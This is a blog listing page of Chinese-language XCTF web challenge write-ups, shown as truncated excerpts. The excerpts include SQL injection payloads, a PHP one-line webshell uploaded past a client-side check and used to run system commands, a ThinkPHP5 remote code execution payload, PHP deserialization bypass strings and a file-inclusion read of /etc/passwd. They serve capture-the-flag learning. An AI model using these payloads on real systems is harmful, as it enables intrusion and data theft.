
WriteUp
uh3ng
这个作者很懒,什么都没留下…
展开
-
攻防世界-Web-fakebook
0x01根据提示注册一个用户,blog的位置需要输入一段网址才能通过注册。注册成功以后可以查看用户信息。通过?no=1 and 1=1和?no=1 and 1=2可以验证存在SQL注入漏洞,接下来尝试注入。0x02使用?no=1 union/**/select 1,2,3,4可以判断该表中存在4个字段使用?no=1 and 0 union/**/select 1,2,3,4可以判断有回显的字段是第二个使用?no=1 and 0 union/**/select 1,database(),3,4可原创 2020-09-10 18:39:47 · 256 阅读 · 0 评论 -
攻防世界-Web-web2
0x01<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){ $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c原创 2020-08-25 17:58:36 · 307 阅读 · 0 评论 -
攻防世界-Web-upload1
0x01查看网页源代码,猜测应该是前端验证,只能上传图片文件。前端验证就很好办,把onchange=check()删掉就好了0x02准备一份一句话木马<?php eval($_POST['shell']);?>,保存为shell.php,然后上传shell.php,得到返回结果:然后可以使用菜刀连接,由于我没有装菜刀,于是在浏览器中访问给定的位置,然后通过Hackbar提交POST数据:shell=system("ls ../");这个位置是自己试出来的shell=highli原创 2020-08-25 17:45:01 · 246 阅读 · 0 评论 -
攻防世界-Web-NaNNaNNaNNaN-Batman
0x01打开附件看到的是HTML代码(一开始我错误地以为是JS),有一些夹杂的乱码,先试着放在浏览器里运行一下看有没有结果。将文件后缀改成html,然后从浏览器打开,页面中显示了一个输入框。0x02回头来分析一下源码,隐约可以看到有标签,还有一个_的JS变量,最后通过eval来运行了字符串里面的内容。虽然有些地方人看不懂,但不代表浏览器不能解析,所以试着通过浏览器来显示JS源码。把末尾的eval(_)改成console.log(_),然后再次从浏览器中打开这个页面,发现在控制台里显示了JS代码:原创 2020-08-25 17:31:21 · 154 阅读 · 0 评论 -
攻防世界-Web-Newscenter
0x01打开题目看到一个网页,里面只有一个搜索输入框是我们可以控制的,所以猜测可能是SQL注入。尝试123asdqwe' or 1=1#发现能够查询出所有新闻。继续尝试' union select 1,2,3#,验证select查询了三个字段:0x02已经可以判定是联合注入,接下来就简单了。查询当前数据库1' union select 1,2,database()#,得到数据库为news查询当前库中的表1' union select 1,table_name,3 from informa原创 2020-08-16 18:24:30 · 247 阅读 · 0 评论 -
攻防世界-Web-warmup
0x01最开始映入眼帘的是一张图,查看网页源代码发现了提示:进而访问source.php,显示了后端源代码: <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]原创 2020-08-16 13:12:53 · 187 阅读 · 0 评论 -
攻防世界-Web-supersqli
本题涉及到了堆叠注入、MySQL预编译0x01SQL注入的题目,按照流程来验证SQL注入漏洞。首先输入1' and '1'='1发现正常输出,然后输入1' and '1'='2发现没有输出,进一步尝试联合注入,输入1' union select 1 #结果返回了return preg_match("/select|update|delete|drop|insert|where|./i",$inject);可见后端过滤掉了一些SQL关键字,显然不能直接通过这些关键字进行注入。0x02尝试使用原创 2020-08-14 22:10:12 · 375 阅读 · 0 评论 -
攻防世界-Web-Web_php_unserialize
0x01打开题目看到PHP源码如下:<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } functi原创 2020-08-11 12:18:48 · 178 阅读 · 0 评论 -
攻防世界-Web-php_rce
0x01打开题目,很明显是ThinkPHP5框架,这里就联想到ThinkPHP5的著名漏洞,再加上题目中的RCE(远程代码执行)解题思路基本就有了。关于ThinkPHP5的这个漏洞,可以参考:ThinkPHP5 RCE漏洞重现及分析 0x02使用payload验证一下漏洞:/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=原创 2020-08-05 22:03:52 · 639 阅读 · 0 评论 -
攻防世界-Web-Web_php_include
0x01打开题目,代码如下:<?phpshow_source(__FILE__);echo $_GET['hello'];$page=$_GET['page'];while (strstr($page, "php://")) { $page=str_replace("php://", "", $page);}include($page);?>构造payload简单验证一下是不是文件包含:?hello=xxx&page=/etc/passwd结果如下:原创 2020-08-05 21:49:24 · 403 阅读 · 0 评论 -
攻防世界-web-unserialize3
0x01打开链接能看到一段PHP代码:根据题目给出的反序列提示,推测应该是利用了PHP的反序列漏洞,主要目的还是要绕过__wakeup()的执行,于是尝试CVE-2016-7124漏洞,即:如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行。0x02构造payload如下:(xctf:后面的2也可以换成任何大于1的数)?code=O:4:"xctf":2{s:4:"flag";s:3:"111";}...原创 2020-07-31 22:43:49 · 145 阅读 · 0 评论 -
攻防世界-Web-PHP2
0x01打开后如图所示,题目中也没有任何提示,在消息头和HTML代码中也没可以入手的地方,而且它提示我们“能不能访问这个站点”,于是就试图在URL里输入其他文件名访问,试过index.php发现结果相同,继续尝试index.phps.**注:我实在是没有找到其他页面了,看来WriteUp才知道原来.phps文件是给用户看PHP源码的文件后缀名,第一次接触到0x02访问index.phps文件,在浏览器渲染后内容如下:可见只有部分源码,这时使用view-source来查看可以看到完整一些的源码原创 2020-07-29 22:59:05 · 248 阅读 · 0 评论